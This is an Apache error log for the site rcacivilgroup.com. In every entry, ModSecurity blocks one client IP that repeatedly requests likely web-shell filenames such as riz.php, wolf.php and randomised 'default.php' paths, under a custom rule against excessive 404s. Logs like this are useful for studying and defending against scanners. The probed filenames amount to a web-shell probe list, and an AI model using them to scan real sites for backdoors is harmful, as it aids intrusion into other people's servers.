[Thu Apr 09 19:53:06.882510 2026] [:error] [pid 24624:tid 24634] [client 20.234.89.162:9111] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adeTIu4Jn-WvK1ZBTvjN_QAAAMg"]
[Thu Apr 09 19:53:07.426298 2026] [:error] [pid 20837:tid 20857] [client 20.234.89.162:8285] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adeTI_SL71FHZkjrGzPedgAAAZI"]
[Thu Apr 09 19:53:08.085369 2026] [:error] [pid 20837:tid 20850] [client 20.234.89.162:8844] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riz.php"] [unique_id "adeTJPSL71FHZkjrGzPeeQAAAYs"]
[Thu Apr 09 19:53:09.248841 2026] [:error] [pid 63331:tid 63338] [client 20.234.89.162:8262] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riz.php"] [unique_id "adeTJSbKfIYuVjWbE4VJJQAAAcU"]
[Thu Apr 09 19:53:10.203397 2026] [:error] [pid 24927:tid 24933] [client 20.234.89.162:8308] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riz.php"] [unique_id "adeTJjXObuzEuw8mNJsYRgAAAQM"]
[Thu Apr 09 19:53:10.965444 2026] [:error] [pid 24515:tid 24541] [client 20.234.89.162:8946] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riz.php"] [unique_id "adeTJq1OMnvM2fMnB1OWagAAABY"]
[Thu Apr 09 19:53:11.637298 2026] [:error] [pid 24515:tid 24522] [client 20.234.89.162:8261] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "adeTJ61OMnvM2fMnB1OWcQAAAAM"]
[Thu Apr 09 19:53:12.333384 2026] [:error] [pid 24515:tid 24525] [client 20.234.89.162:8896] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "adeTKK1OMnvM2fMnB1OWdQAAAAY"]
[Thu Apr 09 19:53:13.005651 2026] [:error] [pid 24515:tid 24541] [client 20.234.89.162:8272] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "adeTKa1OMnvM2fMnB1OWdgAAABY"]
[Thu Apr 09 19:53:13.594855 2026] [:error] [pid 63331:tid 63353] [client 20.234.89.162:8834] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "adeTKSbKfIYuVjWbE4VJNAAAAdQ"]
[Thu Apr 09 19:53:14.395382 2026] [:error] [pid 18477:tid 18501] [client 20.234.89.162:8886] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adeTKsDe826HlFeoLPKUiwAAAVY"]
[Thu Apr 09 19:53:14.997770 2026] [:error] [pid 18477:tid 18483] [client 20.234.89.162:8948] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adeTKsDe826HlFeoLPKUjgAAAUQ"]
[Thu Apr 09 19:53:15.572313 2026] [:error] [pid 20837:tid 20848] [client 20.234.89.162:8894] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adeTK_SL71FHZkjrGzPefgAAAYk"]
[Thu Apr 09 19:53:16.193795 2026] [:error] [pid 24624:tid 24648] [client 20.234.89.162:8882] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adeTLO4Jn-WvK1ZBTvjOEQAAANY"]
[Thu Apr 09 19:53:17.010318 2026] [:error] [pid 63331:tid 63342] [client 20.234.89.162:8274] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "adeTLSbKfIYuVjWbE4VJOQAAAck"]
[Thu Apr 09 19:53:17.709521 2026] [:error] [pid 63331:tid 63355] [client 20.234.89.162:8284] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "adeTLSbKfIYuVjWbE4VJQgAAAdY"]
[Thu Apr 09 19:53:18.442345 2026] [:error] [pid 63331:tid 63333] [client 20.234.89.162:8302] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "adeTLibKfIYuVjWbE4VJRgAAAcA"]
[Thu Apr 09 19:53:18.975985 2026] [:error] [pid 63331:tid 63350] [client 20.234.89.162:9115] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "adeTLibKfIYuVjWbE4VJRwAAAdE"]
[Thu Apr 09 19:53:19.541167 2026] [:error] [pid 20837:tid 20853] [client 20.234.89.162:8861] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adeTL_SL71FHZkjrGzPegQAAAY4"]
[Thu Apr 09 19:53:20.064972 2026] [:error] [pid 24515:tid 24537] [client 20.234.89.162:8289] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adeTMK1OMnvM2fMnB1OWhgAAABI"]
[Thu Apr 09 19:53:20.632880 2026] [:error] [pid 24515:tid 24536] [client 20.234.89.162:8279] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adeTMK1OMnvM2fMnB1OWiQAAABE"]
[Thu Apr 09 19:53:21.268878 2026] [:error] [pid 24624:tid 24645] [client 20.234.89.162:8903] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adeTMe4Jn-WvK1ZBTvjOFgAAANM"]
[Thu Apr 09 19:53:22.072298 2026] [:error] [pid 24515:tid 24531] [client 20.234.89.162:8309] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adeTMq1OMnvM2fMnB1OWlwAAAAw"]
[Thu Apr 09 19:53:22.906783 2026] [:error] [pid 24927:tid 24948] [client 20.234.89.162:8867] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adeTMjXObuzEuw8mNJsYSAAAARI"]
[Thu Apr 09 19:53:23.576920 2026] [:error] [pid 24517:tid 24593] [client 20.234.89.162:8937] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adeTM3boYEn2ZFM_PS96dQAAAJM"]
[Thu Apr 09 19:53:24.228364 2026] [:error] [pid 24927:tid 24932] [client 20.234.89.162:8862] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adeTNDXObuzEuw8mNJsYTwAAAQI"]
[Thu Apr 09 19:53:24.803703 2026] [:error] [pid 20837:tid 20839] [client 20.234.89.162:9112] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adeTNPSL71FHZkjrGzPehwAAAYA"]
[Thu Apr 09 19:53:25.520559 2026] [:error] [pid 24517:tid 24588] [client 20.234.89.162:8851] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adeTNXboYEn2ZFM_PS96dgAAAI4"]
[Thu Apr 09 19:53:26.270312 2026] [:error] [pid 18477:tid 18479] [client 20.234.89.162:8877] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adeTNsDe826HlFeoLPKUkQAAAUA"]
[Thu Apr 09 19:53:27.010597 2026] [:error] [pid 24927:tid 24950] [client 20.234.89.162:8857] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adeTNzXObuzEuw8mNJsYWAAAARQ"]
[Thu Apr 09 19:53:27.609157 2026] [:error] [pid 24927:tid 24952] [client 20.234.89.162:9127] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww.php"] [unique_id "adeTNzXObuzEuw8mNJsYWgAAARY"]
[Thu Apr 09 19:53:28.238315 2026] [:error] [pid 18477:tid 18482] [client 20.234.89.162:8314] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww.php"] [unique_id "adeTOMDe826HlFeoLPKUlgAAAUM"]
[Thu Apr 09 19:53:28.805287 2026] [:error] [pid 24927:tid 24947] [client 20.234.89.162:9137] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww.php"] [unique_id "adeTODXObuzEuw8mNJsYYgAAARE"]
[Thu Apr 09 19:53:29.459083 2026] [:error] [pid 20837:tid 20857] [client 20.234.89.162:8291] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww.php"] [unique_id "adeTOfSL71FHZkjrGzPekgAAAZI"]
[Thu Apr 09 19:53:30.533029 2026] [:error] [pid 24517:tid 24596] [client 20.234.89.162:8841] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adeTOnboYEn2ZFM_PS96eQAAAJY"]
[Thu Apr 09 19:53:31.470115 2026] [:error] [pid 20837:tid 20863] [client 20.234.89.162:9114] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adeTO_SL71FHZkjrGzPeoAAAAZg"]
[Thu Apr 09 19:53:32.492065 2026] [:error] [pid 20837:tid 20857] [client 20.234.89.162:8873] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adeTPPSL71FHZkjrGzPeogAAAZI"]
[Thu Apr 09 19:53:46.078927 2026] [:error] [pid 24517:tid 24591] [client 20.234.89.162:8275] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adeTSnboYEn2ZFM_PS96kAAAAJE"]
[Thu Apr 09 19:53:46.980656 2026] [:error] [pid 63331:tid 63335] [client 20.234.89.162:8293] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adeTSibKfIYuVjWbE4VJXAAAAcI"]
[Thu Apr 09 19:53:47.706408 2026] [:error] [pid 24517:tid 24590] [client 20.234.89.162:9111] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adeTS3boYEn2ZFM_PS96kQAAAJA"]
[Thu Apr 09 19:53:48.293243 2026] [:error] [pid 24517:tid 24577] [client 20.234.89.162:8299] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adeTTHboYEn2ZFM_PS96kgAAAIM"]
[Thu Apr 09 19:53:48.934516 2026] [:error] [pid 24515:tid 24520] [client 20.234.89.162:8870] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adeTTK1OMnvM2fMnB1OWsAAAAAE"]
[Thu Apr 09 19:53:49.604931 2026] [:error] [pid 24515:tid 24532] [client 20.234.89.162:8884] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adeTTa1OMnvM2fMnB1OWtQAAAA0"]
[Thu Apr 09 19:53:50.175170 2026] [:error] [pid 20837:tid 20856] [client 20.234.89.162:8855] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adeTTvSL71FHZkjrGzPe4AAAAZE"]
[Thu Apr 09 19:53:50.817163 2026] [:error] [pid 24517:tid 24584] [client 20.234.89.162:9104] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adeTTnboYEn2ZFM_PS96kwAAAIo"]
[Thu Apr 09 19:53:51.600517 2026] [:error] [pid 24515:tid 24540] [client 20.234.89.162:9095] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adeTT61OMnvM2fMnB1OWugAAABU"]
[Thu Apr 09 19:53:52.258542 2026] [:error] [pid 24624:tid 24641] [client 20.234.89.162:9116] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adeTUO4Jn-WvK1ZBTvjOLwAAAM8"]
[Thu Apr 09 19:53:52.871266 2026] [:error] [pid 63331:tid 63350] [client 20.234.89.162:8848] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adeTUCbKfIYuVjWbE4VJYQAAAdE"]
[Thu Apr 09 19:53:53.592205 2026] [:error] [pid 24927:tid 24938] [client 20.234.89.162:8835] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adeTUTXObuzEuw8mNJsYfgAAAQg"]
[Thu Apr 09 19:53:54.326380 2026] [:error] [pid 24517:tid 24582] [client 20.234.89.162:8881] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adeTUnboYEn2ZFM_PS96lgAAAIg"]
[Thu Apr 09 19:53:55.196185 2026] [:error] [pid 24515:tid 24543] [client 20.234.89.162:9135] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adeTU61OMnvM2fMnB1OWwAAAABg"]
[Thu Apr 09 19:53:55.855408 2026] [:error] [pid 24516:tid 24565] [client 20.234.89.162:9089] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adeTU9hW7vSS-UkeWCUqDQAAAFI"]
[Thu Apr 09 19:53:56.431258 2026] [:error] [pid 24516:tid 24552] [client 20.234.89.162:9110] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "adeTVNhW7vSS-UkeWCUqEQAAAEU"]
[Thu Apr 09 19:53:57.160327 2026] [:error] [pid 24515:tid 24523] [client 20.234.89.162:8720] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adeTVa1OMnvM2fMnB1OWwgAAAAQ"]
[Thu Apr 09 19:53:57.713668 2026] [:error] [pid 20837:tid 20846] [client 20.234.89.162:8889] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adeTVfSL71FHZkjrGzPe-gAAAYc"]
